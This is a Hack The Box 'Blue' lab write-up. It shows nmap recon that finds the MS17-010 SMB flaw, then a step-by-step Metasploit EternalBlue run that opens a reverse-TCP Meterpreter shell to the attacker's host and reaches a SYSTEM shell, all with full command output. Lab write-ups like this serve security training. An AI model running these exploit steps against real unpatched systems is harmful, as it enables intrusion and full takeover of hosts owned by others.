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Hack The Box - Blue

 ·  ☕ 6 min read  ·  ✍️ Atom · 👀... views

Hi Hackers Welcome Back, Today we are going to look at Hack The Box Blue Machine.

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Info Table

Title Blue
Category Hack The Box
OS Windows
Difficulty Easy
Maker

Kill Chain Summery

While enumerating ports and services we can able to find the service, which is vulnerable to infamous CVE-2017-0143. Smb vulnerabilities which can be easily exploited with publicly available scripts and Metasploit.

Mind Map

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Recon

we run a quick initial nmap scan to see which ports are open and which services are running on those ports.

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$nmap -Pn -sC -sV -A 10.129.102.59 -oN  initial
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-08 06:35 IST
Stats: 0:01:56 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 77.78% done; ETC: 06:37 (0:00:18 remaining)
Nmap scan report for 10.129.102.59
Host is up (0.35s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   2.1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2022-06-08T01:07:44
|_  start_date: 2022-06-07T15:32:51
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2022-06-08T02:07:43+01:00
|_clock-skew: mean: -19m55s, deviation: 34m36s, median: 3s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 134.70 seconds

Enumeration

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┌─[✗]─[atom@atom-vmwarevirtualplatform]─[~]
└──╼ $nmap -p 135,139,445 -sV -sC  --script vuln 10.129.102.59
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-08 06:57 IST
Stats: 0:00:24 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 96.61% done; ETC: 06:57 (0:00:00 remaining)
Nmap scan report for 10.129.102.59
Host is up (0.29s latency).

PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb-vuln-ms10-054: false
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.73 seconds

Exploitation

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[msf](Jobs:0 Agents:0) >> search ms17-010

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce

[msf](Jobs:0 Agents:0) >> use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp

[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> set rhost 10.129.102.59
rhost => 10.129.102.59
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> set lhost 10.10.14.33
lhost => 10.10.14.33
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> run

[*] Started reverse TCP handler on 10.10.14.33:4444 
[*] 10.129.102.59:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.129.102.59:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.129.102.59:445     - Scanned 1 of 1 hosts (100% complete)
[+] 10.129.102.59:445 - The target is vulnerable.
[*] 10.129.102.59:445 - Connecting to target for exploitation.
[+] 10.129.102.59:445 - Connection established for exploitation.
[+] 10.129.102.59:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.129.102.59:445 - CORE raw buffer dump (42 bytes)
[*] 10.129.102.59:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.129.102.59:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.129.102.59:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.129.102.59:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.129.102.59:445 - Trying exploit with 12 Groom Allocations.
[*] 10.129.102.59:445 - Sending all but last fragment of exploit packet
[*] 10.129.102.59:445 - Starting non-paged pool grooming
[+] 10.129.102.59:445 - Sending SMBv2 buffers
[+] 10.129.102.59:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.129.102.59:445 - Sending final SMBv2 buffers.
[*] 10.129.102.59:445 - Sending last fragment of exploit packet!
[*] 10.129.102.59:445 - Receiving response from exploit packet
[+] 10.129.102.59:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.129.102.59:445 - Sending egg to corrupted connection.
[*] 10.129.102.59:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 10.129.102.59
[*] Meterpreter session 1 opened (10.10.14.33:4444 -> 10.129.102.59:49158 ) at 2022-06-08 07:02:32 +0530
[+] 10.129.102.59:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.102.59:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.102.59:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

(Meterpreter 1)(C:\Windows\system32) > shell
Process 1840 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>

you can find flags under Haries and Administrator’s Desktop folder

See you on the next Blog, Happy hacking…
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